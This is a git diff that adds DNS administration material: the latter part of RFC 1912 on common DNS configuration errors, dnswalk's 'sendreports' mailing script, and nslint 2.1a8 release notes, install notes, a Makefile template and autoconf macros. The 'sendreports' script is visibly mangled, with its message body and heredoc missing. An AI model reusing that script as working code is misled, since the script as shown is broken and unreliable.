Or perhaps someone simply made + a typo in the hostname portion of the address. The mail message then + gets routed to the mail host, which then rejects the mail with + strange error messages like "I refuse to talk to myself" or "Local + configuration error". + + Wildcard MX records are good for when you have a large number of + hosts which are not directly Internet-connected (for example, behind + a firewall) and for administrative or political reasons it is too + difficult to have individual MX records for every host, or to force + all e-mail addresses to be "hidden" behind one or more domain names. + In that case, you must divide your DNS into two parts, an internal + DNS, and an external DNS. The external DNS will have only a few + hosts and explicit MX records, and one or more wildcard MXs for each + internal domain. Internally the DNS will be complete, with all + explicit MX records and no wildcards. + + Wildcard As and CNAMEs are possible too, and are really confusing to + users, and a potential nightmare if used without thinking first. It + could result (due again to domain searching) in any telnet/ftp + attempts from within the domain to unknown hosts to be directed to + one address. One such wildcard CNAME (in *.edu.com) caused + Internet-wide loss of services and potential security nightmares due + to unexpected interactions with domain searching. It resulted in + swift fixes, and even an RFC ([RFC 1535]) documenting the problem. + + + +Barr Informational [Page 9] + +RFC 1912 Common DNS Errors February 1996 + + +2.8 Authority and Delegation Errors (NS records) + + You are required to have at least two nameservers for every domain, + though more is preferred. Have secondaries outside your network. If + the secondary isn't under your control, periodically check up on them + and make sure they're getting current zone data from you. Queries to + their nameserver about your hosts should always result in an + "authoritative" response. If not, this is called a "lame + delegation". A lame delegations exists when a nameserver is + delegated responsibility for providing nameservice for a zone (via NS + records) but is not performing nameservice for that zone (usually + because it is not set up as a primary or secondary for the zone). + + The "classic" lame delegation can be illustrated in this example: + + podunk.xx. IN NS ns1.podunk.xx. + IN NS ns0.widget.com. + + "podunk.xx" is a new domain which has recently been created, and + "ns1.podunk.xx" has been set up to perform nameservice for the zone. + They haven't quite finished everything yet and haven't made sure that + the hostmaster at "ns0.widget.com" has set up to be a proper + secondary, and thus has no information about the podunk.xx domain, + even though the DNS says it is supposed to. Various things can + happen depending on which nameserver is used. At best, extra DNS + traffic will result from a lame delegation. At worst, you can get + unresolved hosts and bounced e-mail. + + Also, sometimes a nameserver is moved to another host or removed from + the list of secondaries. Unfortunately due to caching of NS records, + many sites will still think that a host is a secondary after that + host has stopped providing nameservice. In order to prevent lame + delegations while the cache is being aged, continue to provide + nameservice on the old nameserver for the length of the maximum of + the minimum plus refresh times for the zone and the parent zone. + (See section 2.2) + + Whenever a primary or secondary is removed or changed, it takes a + fair amount of human coordination among the parties involved. (The + site itself, it's parent, and the site hosting the secondary) When a + primary moves, make sure all secondaries have their named.boot files + updated and their servers reloaded. When a secondary moves, make + sure the address records at both the primary and parent level are + changed. + + It's also been reported that some distant sites like to pick popular + nameservers like "ns.uu.net" and just add it to their list of NS + records in hopes that they will magically perform additional + + + +Barr Informational [Page 10] + +RFC 1912 Common DNS Errors February 1996 + + + nameservice for them. This is an even worse form of lame delegation, + since this adds traffic to an already busy nameserver. Please + contact the hostmasters of sites which have lame delegations. + Various tools can be used to detect or actively find lame + delegations. See the list of contributed software in the BIND + distribution. + + Make sure your parent domain has the same NS records for your zone as + you do. (Don't forget your in-addr.arpa zones too!). Do not list + too many (7 is the recommended maximum), as this just makes things + harder to manage and is only really necessary for very popular top- + level or root zones. You also run the risk of overflowing the 512- + byte limit of a UDP packet in the response to an NS query. If this + happens, resolvers will "fall back" to using TCP requests, resulting + in increased load on your nameserver. + + It's important when picking geographic locations for secondary + nameservers to minimize latency as well as increase reliability. + Keep in mind network topologies. For example if your site is on the + other end of a slow local or international link, consider a secondary + on the other side of the link to decrease average latency. Contact + your Internet service provider or parent domain contact for more + information about secondaries which may be available to you. + +3. BIND operation + + This section discusses common problems people have in the actual + operation of the nameserver (specifically, BIND). Not only must the + data be correct as explained above, but the nameserver must be + operated correctly for the data to be made available. + +3.1 Serial numbers + + Each zone has a serial number associated with it. Its use is for + keeping track of who has the most current data. If and only if the + primary's serial number of the zone is greater will the secondary ask + the primary for a copy of the new zone data (see special case below). + + Don't forget to change the serial number when you change data! If + you don't, your secondaries will not transfer the new zone + information. Automating the incrementing of the serial number with + software is also a good idea. + + If you make a mistake and increment the serial number too high, and + you want to reset the serial number to a lower value, use the + following procedure: + + + + + +Barr Informational [Page 11] + +RFC 1912 Common DNS Errors February 1996 + + + Take the `incorrect' serial number and add 2147483647 to it. If + the number exceeds 4294967296, subtract 4294967296. Load the + resulting number. Then wait 2 refresh periods to allow the zone + to propagate to all servers. + + Repeat above until the resulting serial number is less than the + target serial number. + + Up the serial number to the target serial number. + + This procedure won't work if one of your secondaries is running an + old version of BIND (4.8.3 or earlier). In this case you'll have to + contact the hostmaster for that secondary and have them kill the + secondary servers, remove the saved backup file, and restart the + server. Be careful when editing the serial number -- DNS admins + don't like to kill and restart nameservers because you lose all that + cached data. + +3.2 Zone file style guide + + Here are some useful tips in structuring your zone files. Following + these will help you spot mistakes, and avoid making more. + + Be consistent with the style of entries in your DNS files. If your + $ORIGIN is podunk.xx., try not to write entries like: + + mary IN A 1.2.3.1 + sue.podunk.xx. IN A 1.2.3.2 + + or: + + bobbi IN A 1.2.3.2 + IN MX mary.podunk.xx. + + + Either use all FQDNs (Fully Qualified Domain Names) everywhere or + used unqualified names everywhere. Or have FQDNs all on the right- + hand side but unqualified names on the left. Above all, be + consistent. + + Use tabs between fields, and try to keep columns lined up. It makes + it easier to spot missing fields (note some fields such as "IN" are + inherited from the previous record and may be left out in certain + circumstances.) + + + + + + + +Barr Informational [Page 12] + +RFC 1912 Common DNS Errors February 1996 + + + Remember you don't need to repeat the name of the host when you are + defining multiple records for one host. Be sure also to keep all + records associated with a host together in the file. It will make + things more straightforward when it comes time to remove or rename a + host. + + Always remember your $ORIGIN. If you don't put a `.' at the end of + an FQDN, it's not recognized as an FQDN. If it is not an FQDN, then + the nameserver will append $ORIGIN to the name. Double check, triple + check, those trailing dots, especially in in-addr.arpa zone files, + where they are needed the most. + + Be careful with the syntax of the SOA and WKS records (the records + which use parentheses). BIND is not very flexible in how it parses + these records. See the documentation for BIND. + +3.3 Verifying data + + Verify the data you just entered or changed by querying the resolver + with dig (or your favorite DNS tool, many are included in the BIND + distribution) after a change. A few seconds spent double checking + can save hours of trouble, lost mail, and general headaches. Also be + sure to check syslog output when you reload the nameserver. If you + have grievous errors in your DNS data or boot file, named will report + it via syslog. + + It is also highly recommended that you automate this checking, either + with software which runs sanity checks on the data files before they + are loaded into the nameserver, or with software which checks the + data already loaded in the nameserver. Some contributed software to + do this is included in the BIND distribution. + +4. Miscellaneous Topics + +4.1 Boot file setup + + Certain zones should always be present in nameserver configurations: + + primary localhost localhost + primary 0.0.127.in-addr.arpa 127.0 + primary 255.in-addr.arpa 255 + primary 0.in-addr.arpa 0 + + These are set up to either provide nameservice for "special" + addresses, or to help eliminate accidental queries for broadcast or + local address to be sent off to the root nameservers. All of these + files will contain NS and SOA records just like the other zone files + you maintain, the exception being that you can probably make the SOA + + + +Barr Informational [Page 13] + +RFC 1912 Common DNS Errors February 1996 + + + timers very long, since this data will never change. + + The "localhost" address is a "special" address which always refers to + the local host. It should contain the following line: + + localhost. IN A 127.0.0.1 + + The "127.0" file should contain the line: + + 1 PTR localhost. + + There has been some extensive discussion about whether or not to + append the local domain to it. The conclusion is that "localhost." + would be the best solution. The reasons given include: + + "localhost" by itself is used and expected to work in some + systems. + + Translating 127.0.0.1 into "localhost.dom.ain" can cause some + software to connect back to the loopback interface when it didn't + want to because "localhost" is not equal to "localhost.dom.ain". + + The "255" and "0" files should not contain any additional data beyond + the NS and SOA records. + + Note that future BIND versions may include all or some of this data + automatically without additional configuration. + +4.2 Other Resolver and Server bugs + + Very old versions of the DNS resolver have a bug that cause queries + for names that look like IP addresses to go out, because the user + supplied an IP address and the software didn't realize that it didn't + need to be resolved. This has been fixed but occasionally it still + pops up. It's important because this bug means that these queries + will be sent directly to the root nameservers, adding to an already + heavy DNS load. + + While running a secondary nameserver off another secondary nameserver + is possible, it is not recommended unless necessary due to network + topologies. There are known cases where it has led to problems like + bogus TTL values. While this may be caused by older or flawed DNS + implementations, you should not chain secondaries off of one another + since this builds up additional reliability dependencies as well as + adds additional delays in updates of new zone data. + + + + + + +Barr Informational [Page 14] + +RFC 1912 Common DNS Errors February 1996 + + +4.3 Server issues + + DNS operates primarily via UDP (User Datagram Protocol) messages. + Some UNIX operating systems, in an effort to save CPU cycles, run + with UDP checksums turned off. The relative merits of this have long + been debated. However, with the increase in CPU speeds, the + performance considerations become less and less important. It is + strongly encouraged that you turn on UDP checksumming to avoid + corrupted data not only with DNS but with other services that use UDP + (like NFS). Check with your operating system documentation to verify + that UDP checksumming is enabled. + +References + + [RFC 974] Partridge, C., "Mail routing and the domain system", STD + 14, RFC 974, CSNET CIC BBN Laboratories Inc, January 1986. + + [RFC 1033] Lottor, M, "Domain Administrators Operations Guide", RFC + 1033, USC/Information Sciences Institute, November 1987. + + [RFC 1034] Mockapetris, P., "Domain Names - Concepts and Facilities", + STD 13, RFC 1034, USC/Information Sciences Institute, + November 1987. + + [RFC 1035] Mockapetris, P., "Domain Names - Implementation and + Specification", STD 13, RFC 1035, USC/Information Sciences + Institute, November 1987. + + [RFC 1123] Braden, R., "Requirements for Internet Hosts -- + Application and Support", STD 3, RFC 1123, IETF, October + 1989. + + [RFC 1178] Libes, D., "Choosing a Name for Your Computer", FYI 5, RFC + 1178, Integrated Systems Group/NIST, August 1990. + + [RFC 1183] Ullman, R., Mockapetris, P., Mamakos, L, and C. Everhart, + "New DNS RR Definitions", RFC 1183, October 1990. + + [RFC 1535] Gavron, E., "A Security Problem and Proposed Correction + With Widely Deployed DNS Software", RFC 1535, ACES + Research Inc., October 1993. + + [RFC 1536] Kumar, A., Postel, J., Neuman, C., Danzig, P., and S. + Miller, "Common DNS Implementation Errors and Suggested + Fixes", RFC 1536, USC/Information Sciences Institute, USC, + October 1993. + + + + + +Barr Informational [Page 15] + +RFC 1912 Common DNS Errors February 1996 + + + [RFC 1537] Beertema, P., "Common DNS Data File Configuration Errors", + RFC 1537, CWI, October 1993. + + [RFC 1713] A. Romao, "Tools for DNS debugging", RFC 1713, FCCN, + November 1994. + + [BOG] Vixie, P, et. al., "Name Server Operations Guide for BIND", + Vixie Enterprises, July 1994. + +5. Security Considerations + + Security issues are not discussed in this memo. + +6. Author's Address + + David Barr + The Pennsylvania State University + Department of Mathematics + 334 Whitmore Building + University Park, PA 16802 + + Voice: +1 814 863 7374 + Fax: +1 814 863-8311 + EMail: barr@math.psu.edu + + + + + + + + + + + + + + + + + + + + + + + + + + + +Barr Informational [Page 16] + diff --git a/dns-projects/dnswalk/sendreports b/dns-projects/dnswalk/sendreports new file mode 100755 index 0000000..6584157 --- /dev/null +++ b/dns-projects/dnswalk/sendreports @@ -0,0 +1,28 @@ +#!/bin/sh +DATE=`date +%m/%y` +for file in *; do +hostmaster=`echo $file | sed 's/\./@/'` +echo Sending report to "$hostmaster" +( +cat </tmp/reports/$file +sleep 1 +done diff --git a/dns-projects/nslint-2.1a8/CHANGES b/dns-projects/nslint-2.1a8/CHANGES new file mode 100644 index 0000000..1c6295b --- /dev/null +++ b/dns-projects/nslint-2.1a8/CHANGES @@ -0,0 +1,197 @@ +@(#) $Id: CHANGES,v 1.50 2007/10/17 21:17:28 leres Exp $ (LBL) + +v2.1 Wed Oct 17 14:15:20 PDT 2007 + +- Handle "srv" records. + +- Fix some ttl parsing problems. + +- Add "ignore" option + +- Hack in support for "view" + +- Check for duplicate "cname" records. + +- Upgrade to autoconf 2.61 + +v2.0.2 Tue Mar 20 17:49:13 PST 2001 + +- Allow missing trailing dot in certain special cases. + +- Include zone names when checking NS records. + +- Document nslint.conf network keyword. + +v2.0.1 Tue Dec 14 11:24:31 PST 1999 + +- Handle $ttl. + +- Fix some minor portability/compiler problems for OSF 4. + +- Correctly detect mx records that point to themselves but not a + real "a" record. + +- Fix file descriptor leak in doconf(). Thanks to Paul McIlfatrick + (paul.mcilfatrick@bt.com) + +v2.0 Wed Dec 9 16:48:54 PST 1998 + +- Add support for BIND 8 named.conf file. + +- Support protocols in addition to tcp and udp for WKS records. + Resulted from a bug report from Petter Reinholdtsen (pere@td.org.uit.no) + +- Support dotted serial numbers in SOA records. Resulted from a + bug report from Frank Ederveen (frank@our.domaintje.com) + +- Ignore unknown statements and options in named.boot and named.conf + (instead of issuing warnings). + +- Handle '#' and C style named.conf comments. + +- Handle optional "in" in named.conf zone statements. Reported by + DJ Coster (djc@discoverbrokerage.com) + +- Add support for include directives in named.boot and named.conf. + +- Redo differing ttls check and do mx records in addition to a + records. Change place where soa values gets zeroed so they don't + get clobbered when we use includes. + +- Allow "@" abbr. for ptr, mx, cname and ns records. + +- Detect cname referenced by another cname or mx record. + +- Handle chaos records (to some minor extent). + +v1.7 Tue Jul 22 14:26:21 PDT 1997 + +- Report differing ttls in A records. Check SOA records. + +- Detect hosts with more than one ip address on a subnet. + +v1.6.1 Sat Jun 7 03:12:01 PDT 1997 + +- Fix "unknown service" printf format. + +- Fix off-by-one error in the ptr parsing code. Thanks to Andreas + Lamprecht (andreas.lamprecht@siemens.at) + +- Fix broken $origin code. + +v1.6 Mon Apr 7 19:09:52 PDT 1997 + +- Add support for classless delegation. + +- Fix some case sensitive bugs. + +- Report domain names outside the current zone. + +- Fixed off-by-one bug that broke single character hostnames. + +- Increase size of hash table. + +- Make tcp and udp service name tables dynamic. + +- Improved error message for garbage in /etc/services. + +v1.5.1 Thu Jul 18 21:44:44 PDT 1996 + +- Use $CC when checking gcc version. Thanks to Carl Lindberg + (carl_lindberg@blacksmith.com) + +- Raise size of hash table to 65K. + +v1.5 Fri Jul 12 18:58:47 PDT 1996 + +- Detect extra octets and other garbage in PTR records. + +- Handle multi-line WKS records. + +- Allow multple WKS records (since we can have udp and tcp). + +- Convert to autoconf. + +- Declare optarg, optind and opterr extern. Thanks to Howard Moftich + (howardm@lsil.com). + +- BS/DOS does not have malloc.h. Thanks to Jordan Hayes + (jordan@thinkbank.com). + +- Correctly handle named.boot comments with leading whitespace. + +- Handle fully specified in-addr.arpa records. Resulted from a bug + report from Joe Kelly (joe@gol.com). + +- Fix endian problems. Thanks to Carl Lindberg (carl_lindberg@blacksmith.com). + +- Fixed some mixed case problems. + +- Update man page to describe how nslint.boot works. + +v1.4 Sat Jun 3 23:38:14 PDT 1995 + +- Allow TXT records to exist with no other records. + +- Full system prototypes. + +- Complain about extra arguments. + +- Detect MX record chains. + +- Handle single line SOA records correctly. Thanks to Edward J. O'Brien + (ejobrie@sam.wal-mart.com) + +v1.3 Wed Mar 8 17:27:20 PST 1995 + +- Add "allowdupa" record type for use with nslint.boot. This allows ip + addresses to have multiple A records. + +- Fixed bug that caused dangling cname references to not be reported + properly. Thanks to Edward J. O'Brien (ejobrie@sam.wal-mart.com). + +v1.2 Thu Sep 1 15:55:38 PDT 1994 + +- Allow hostnames with a leading numeric as per rfc1123. Thanks to Bill + Gianopoulos (wag@sccux1.msd.ray.com). + +- Remove (undocumented) -u flag and allow uppercase. + +- Support TXT records. Thanks to Paul Pomes (paul@uxc.cso.uiuc.edu). + +- Support RP records. + +- Ignore new bind keywords. + +- Fix bug where we could exit with a zero status even though errors had + been detected + +- Complain about hosts that have smtp/tcp WKS entries but no MX records. + +- Add -B flag to handle PTR records that point outside the domains + listed in named.boot. + +v1.1 Sun May 22 20:43:03 PDT 1994 + +- Allow ns records with no a records (the preferred way to go). + +- Fix typos in the sawstr array. + +- Use string.h instead of strings.h and add rindex(), index() and + bzero() macros for SYSV compatibility. Thanks to Bill King + (wrk@cle.ab.com). + +- Handle $origin directives. Thanks to Bill Gianopoulos + (wag@sccux1.msd.ray.com). + +- Fix add_domain() to work for the root. Thanks to Bill Gianopoulos. + +- Handle quotes in hinfo records. Thanks to Bill Gianopoulos. + +- Fix endian problems in parseinaddr() and parseptr(). + +- Check non in-addr.arpa names for cname conflicts. + +v1.0 Thu Apr 21 11:02:59 PDT 1994 + +- Initial release. diff --git a/dns-projects/nslint-2.1a8/FILES b/dns-projects/nslint-2.1a8/FILES new file mode 100644 index 0000000..ddb8d44 --- /dev/null +++ b/dns-projects/nslint-2.1a8/FILES @@ -0,0 +1,24 @@ +CHANGES +FILES +INSTALL +Makefile.in +README +VERSION +aclocal.m4 +config.guess +config.sub +configure +configure.in +install-sh +lbl/gnuc.h +lbl/os-irix5.h +lbl/os-osf3.h +lbl/os-solaris2.h +lbl/os-sunos4.h +lbl/os-ultrix4.h +mkdep +nslint.8 +nslint.c +savestr.c +savestr.h +strerror.c diff --git a/dns-projects/nslint-2.1a8/INSTALL b/dns-projects/nslint-2.1a8/INSTALL new file mode 100644 index 0000000..e549eea --- /dev/null +++ b/dns-projects/nslint-2.1a8/INSTALL @@ -0,0 +1,42 @@ +@(#) $Header: INSTALL,v 1.2 98/12/09 16:32:58 leres Exp $ (LBL) + +You will need an ANSI C compiler to build nslint. The configure +script will abort if your compiler is not ANSI compliant. If this +happens, use the GNU C compiler, available via anonymous ftp: + + ftp://prep.ai.mit.edu/pub/gnu/gcc.tar.gz + +If necessary, edit the BINDEST and MANDEST paths in Makefile.in +and run ./configure (a shell script). "configure" will determine +your system attributes and generate an appropriate Makefile from +Makefile.in. Now build nslint by running "make". + +If everything builds ok, su and type "make install" (and optionally +"make install-man). This will install nslint and its manual entry. + +If your system is not one which we have tested nslint on, you may +have to modify the configure script and Makefile.in. Please send +us patches for any modifications you need to make. + +FILES +----- +CHANGES - description of differences between releases +FILES - list of files exported as part of the distribution +INSTALL - this file +Makefile.in - compilation rules (input to the configure script) +README - description of distribution +VERSION - version of this release +aclocal.m4 - autoconf macros +config.guess - autoconf support +config.sub - autoconf support +configure - configure script (run this first) +configure.in - configure script source +install-sh - BSD style install script +lbl/gnuc.h - gcc macros and defines +lbl/os-*.h - os dependent defines and prototypes +mkdep - construct Makefile dependency list +nslint.8 - manual entry +nslint.c - main program +savestr.c - strdup() replacement +savestr.h - savestr prototypes +strerror.c - missing routine diff --git a/dns-projects/nslint-2.1a8/Makefile.in b/dns-projects/nslint-2.1a8/Makefile.in new file mode 100644 index 0000000..c0eab1e --- /dev/null +++ b/dns-projects/nslint-2.1a8/Makefile.in @@ -0,0 +1,122 @@ +# Copyright (c) 1992, 1993, 1994, 1995, 1996, 1997, 2000 +# The Regents of the University of California. All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that: (1) source code distributions +# retain the above copyright notice and this paragraph in its entirety, (2) +# distributions including binary code include the above copyright notice and +# this paragraph in its entirety in the documentation or other materials +# provided with the distribution, and (3) all advertising materials mentioning +# features or use of this software display the following acknowledgement: +# ``This product includes software developed by the University of California, +# Lawrence Berkeley Laboratory and its contributors.'' Neither the name of +# the University nor the names of its contributors may be used to endorse +# or promote products derived from this software without specific prior +# written permission. +# THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED +# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF +# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +# +# @(#) $Id: Makefile.in,v 1.24 2000/03/08 01:51:38 leres Exp $ (LBL) + +# +# Various configurable paths (remember to edit Makefile.in, not Makefile) +# + +# Top level hierarchy +prefix = @prefix@ +exec_prefix = @exec_prefix@ +# Pathname of directory to install the binary +BINDEST = @bindir@ +# Pathname of directory to install the man page +MANDEST = @mandir@ + +# VPATH +srcdir = @srcdir@ +VPATH = @srcdir@ + +# +# You shouldn't need to edit anything below here. +# + +PROG = nslint +CC = @CC@ +CCOPT = @V_CCOPT@ +INCLS = @V_INCLS@ +DEFS = @DEFS@ + +# Standard CFLAGS +CFLAGS = $(CCOPT) $(DEFS) $(INCLS) + +# Standard LIBS +LIBS = @LIBS@ + +INSTALL = @INSTALL@ + +# Explicitly define compilation rule since SunOS 4's make doesn't like gcc. +# Also, gcc does not remove the .o before forking 'as', which can be a +# problem if you don't own the file but can write to the directory. +.c.o: + @rm -f $@ + $(CC) $(CFLAGS) -c $(srcdir)/$*.c + +CSRC = nslint.c savestr.c +GENSRC = version.c + +SRC = $(CSRC) $(GENSRC) + +# We would like to say "OBJ = $(SRC:.c=.o)" but Ultrix's make cannot +# hack the extra indirection +OBJ = $(CSRC:.c=.o) $(GENSRC:.c=.o) @LIBOBJS@ + +TAGHDR = \ + /usr/include/sys/types.h \ + /usr/include/netinet/in.h + +TAGFILES = $(SRC) $(TAGHDR) + +CLEANFILES = $(PROG) $(OBJ) $(GENSRC) + +$(PROG): $(OBJ) + @rm -f $@ + $(CC) $(CFLAGS) -o $@ $(OBJ) $(LIBS) + +version.o: version.c +version.c: $(srcdir)/VERSION + @rm -f $@ + sed -e 's/.*/char version[] = "&";/' $(srcdir)/VERSION > $@ + +install: force + $(INSTALL) -m 555 -o bin -g bin $(PROG) $(DESTDIR)$(BINDEST)/$(PROG) + +install-man: force + $(INSTALL) -m 444 -o bin -g bin $(srcdir)/$(PROG).8 \ + $(DESTDIR)$(MANDEST)/man8/$(PROG).8 + +clean: force + rm -f $(CLEANFILES) + +distclean: force + rm -f $(CLEANFILES) Makefile config.cache config.log config.status \ + gnuc.h os-proto.h + +tags: $(TAGFILES) + ctags -wtd $(TAGFILES) + +tar: force + @cwd=`pwd` ; name=$(PROG)-`cat VERSION` ; \ + list="" ; tar="tar chf" ; temp="$$name.tar.gz" ; \ + for i in `cat FILES` ; do list="$$list $$name/$$i" ; done; \ + echo \ + "rm -f $$name; ln -s . $$name" ; \ + rm -f $$name; ln -s . $$name ; \ + echo \ + "$$tar - [lots of files] | gzip > $$temp" ; \ + $$tar - $$list | gzip > $$temp ; \ + echo \ + "rm -f $$name" ; \ + rm -f $$name + +force: /tmp +depend: $(GENSRC) force + ./mkdep -c $(CC) $(DEFS) $(INCLS) $(SRC) diff --git a/dns-projects/nslint-2.1a8/README b/dns-projects/nslint-2.1a8/README new file mode 100644 index 0000000..eae88b3 --- /dev/null +++ b/dns-projects/nslint-2.1a8/README @@ -0,0 +1,14 @@ +@(#) $Id: README,v 1.10 2001/11/26 18:52:13 leres Exp $ (LBL) + +NSLINT 2.0 +Lawrence Berkeley National Laboratory +Network Research Group +nslint@ee.lbl.gov +ftp://ftp.ee.lbl.gov/nslint.tar.gz + +This directory contains source code for nslint, a lint program for dns +files. + +Please send bugs and comments to nslint@ee.lbl.gov. + + - Craig Leres diff --git a/dns-projects/nslint-2.1a8/VERSION b/dns-projects/nslint-2.1a8/VERSION new file mode 100644 index 0000000..8935932 --- /dev/null +++ b/dns-projects/nslint-2.1a8/VERSION @@ -0,0 +1 @@ +2.1a8 diff --git a/dns-projects/nslint-2.1a8/aclocal.m4 b/dns-projects/nslint-2.1a8/aclocal.m4 new file mode 100644 index 0000000..eda5244 --- /dev/null +++ b/dns-projects/nslint-2.1a8/aclocal.m4 @@ -0,0 +1,817 @@ +dnl @(#) $Id: aclocal.m4,v 1.80 2003/04/07 19:13:48 leres Exp $ (LBL) +dnl +dnl Copyright (c) 1995, 1996, 1997, 1998, 1999, 2002, 2003 +dnl The Regents of the University of California. All rights reserved. +dnl +dnl Redistribution and use in source and binary forms, with or without +dnl modification, are permitted provided that: (1) source code distributions +dnl retain the above copyright notice and this paragraph in its entirety, (2) +dnl distributions including binary code include the above copyright notice and +dnl this paragraph in its entirety in the documentation or other materials +dnl provided with the distribution, and (3) all advertising materials mentioning +dnl features or use of this software display the following acknowledgement: +dnl ``This product includes software developed by the University of California, +dnl Lawrence Berkeley Laboratory and its contributors.'' Neither the name of +dnl the University nor the names of its contributors may be used to endorse +dnl or promote products derived from this software without specific prior +dnl written permission. +dnl THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED +dnl WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF +dnl MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +dnl +dnl LBL autoconf macros +dnl + +dnl +dnl Determine which compiler we're using (cc or gcc) +dnl If using gcc, determine the version number +dnl If using cc, require that it support ansi prototypes +dnl If using gcc, use -O2 (otherwise use -O) +dnl If using cc, explicitly specify /usr/local/include +dnl +dnl usage: +dnl +dnl AC_LBL_C_INIT(copt, incls) +dnl +dnl results: +dnl +dnl $1 (copt set) +dnl $2 (incls set) +dnl CC +dnl LDFLAGS +dnl LBL_CFLAGS +dnl +AC_DEFUN(AC_LBL_C_INIT, + [AC_PREREQ(2.12) + AC_BEFORE([$0], [AC_PROG_CC]) + AC_BEFORE([$0], [AC_LBL_FIXINCLUDES]) + AC_BEFORE([$0], [AC_LBL_DEVEL]) + AC_ARG_WITH(gcc, [ --without-gcc don't use gcc]) + $1="-O" + $2="" + if test "${srcdir}" != "." ; then + $2="-I\$\(srcdir\)" + fi + if test "${CFLAGS+set}" = set; then + LBL_CFLAGS="$CFLAGS" + fi + if test -z "$CC" ; then + case "$target_os" in + + bsdi*) + AC_CHECK_PROG(SHLICC2, shlicc2, yes, no) + if test $SHLICC2 = yes ; then + CC=shlicc2 + export CC + fi + ;; + esac + fi + if test -z "$CC" -a "$with_gcc" = no ; then + CC=cc + export CC + fi + AC_PROG_CC + if test "$GCC" != yes ; then + AC_MSG_CHECKING(that $CC handles ansi prototypes) + AC_CACHE_VAL(ac_cv_lbl_cc_ansi_prototypes, + AC_TRY_COMPILE( + [#include ], + [int frob(int, char *)], + ac_cv_lbl_cc_ansi_prototypes=yes, + ac_cv_lbl_cc_ansi_prototypes=no)) + AC_MSG_RESULT($ac_cv_lbl_cc_ansi_prototypes) + if test $ac_cv_lbl_cc_ansi_prototypes = no ; then + case "$target_os" in + + hpux*) + AC_MSG_CHECKING(for HP-UX ansi compiler ($CC -Aa -D_HPUX_SOURCE)) + savedcflags="$CFLAGS" + CFLAGS="-Aa -D_HPUX_SOURCE $CFLAGS" + AC_CACHE_VAL(ac_cv_lbl_cc_hpux_cc_aa, + AC_TRY_COMPILE( + [#include ], + [int frob(int, char *)], + ac_cv_lbl_cc_hpux_cc_aa=yes, + ac_cv_lbl_cc_hpux_cc_aa=no)) + AC_MSG_RESULT($ac_cv_lbl_cc_hpux_cc_aa) + if test $ac_cv_lbl_cc_hpux_cc_aa = no ; then + AC_MSG_ERROR(see the INSTALL doc for more info) + fi + CFLAGS="$savedcflags" + $1="-Aa $$1" + AC_DEFINE(_HPUX_SOURCE,,[HP-UX ansi compiler]) + ;; + + *) + AC_MSG_ERROR(see the INSTALL doc for more info) + ;; + esac + fi + $2="$$2 -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + + case "$target_os" in + + irix*) + $1="$$1 -xansi -signed -g3" + ;; + + osf*) + $1="$$1 -std1 -g3" + ;; + + ultrix*) + AC_MSG_CHECKING(that Ultrix $CC hacks const in prototypes) + AC_CACHE_VAL(ac_cv_lbl_cc_const_proto, + AC_TRY_COMPILE( + [#include ], + [struct a { int b; }; + void c(const struct a *)], + ac_cv_lbl_cc_const_proto=yes, + ac_cv_lbl_cc_const_proto=no)) + AC_MSG_RESULT($ac_cv_lbl_cc_const_proto) + if test $ac_cv_lbl_cc_const_proto = no ; then + AC_DEFINE(const,,[ultrix can't hack const]) + fi + ;; + esac + fi +]) + +AC_LBL_ENABLE_CHECK(brov6 activemapping expire-dfa-states) +dnl +dnl This allows us to check for bogus configure enable/disable +dnl command line options +dnl +dnl usage: +dnl +dnl AC_LBL_ENABLE_CHECK(opt ...) +dnl +AC_DEFUN(AC_LBL_ENABLE_CHECK, + [set | + sed -n -e 's/^enable_\([[^=]]*\)=[[^=]]*$/\1/p' | + while read var; do + ok=0 + for o in $1; do + if test "${o}" = "${var}" ; then + ok=1 + break + fi + done + if test ${ok} -eq 0 ; then + # It's hard to kill configure script from subshell! + AC_MSG_ERROR(unknown enable option: ${var}) + exit 1 + fi + done + if test $? -ne 0 ; then + exit 1 + fi]) + +dnl +dnl Use pfopen.c if available and pfopen() not in standard libraries +dnl Require libpcap +dnl Look for libpcap in .. +dnl Use the installed libpcap if there is no local version +dnl +dnl usage: +dnl +dnl AC_LBL_LIBPCAP(pcapdep, incls) +dnl +dnl results: +dnl +dnl $1 (pcapdep set) +dnl $2 (incls appended) +dnl LIBS +dnl LDFLAGS +dnl LBL_LIBS +dnl +AC_DEFUN(AC_LBL_LIBPCAP, + [AC_REQUIRE([AC_LBL_LIBRARY_NET]) + dnl + dnl save a copy before locating libpcap.a + dnl + LBL_LIBS="$LIBS" + pfopen=/usr/examples/packetfilter/pfopen.c + if test -f $pfopen ; then + AC_CHECK_FUNCS(pfopen) + if test $ac_cv_func_pfopen = "no" ; then + AC_MSG_RESULT(Using $pfopen) + LIBS="$LIBS $pfopen" + fi + fi + AC_MSG_CHECKING(for local pcap library) + libpcap=FAIL + lastdir=FAIL + places=`ls .. | sed -e 's,/$,,' -e 's,^,../,' | \ + egrep '/libpcap-[[0-9]]*\.[[0-9]]*(\.[[0-9]]*)?([[ab]][[0-9]]*)?$'` + for dir in $places ../libpcap libpcap ; do + basedir=`echo $dir | sed -e 's/[[ab]][[0-9]]*$//'` + if test $lastdir = $basedir ; then + dnl skip alphas when an actual release is present + continue; + fi + lastdir=$dir + if test -r $dir/pcap.c ; then + libpcap=$dir/libpcap.a + d=$dir + dnl continue and select the last one that exists + fi + done + if test "x$libpcap" = xFAIL ; then + AC_MSG_RESULT(not found) + AC_CHECK_LIB(pcap, pcap_open_live, libpcap="-lpcap") + unset ac_cv_lib_pcap_pcap_open_live + if test "x$libpcap" = xFAIL ; then + CFLAGS="$CFLAGS -I/usr/local/include" + LIBS="$LIBS -L/usr/local/lib" + AC_CHECK_LIB(pcap, pcap_open_live, libpcap="-lpcap") + unset ac_cv_lib_pcap_pcap_open_live + if test "x$libpcap" = xFAIL ; then + AC_MSG_ERROR(see the INSTALL doc for more info) + fi + $2="$$2 -I/usr/local/include" + fi + 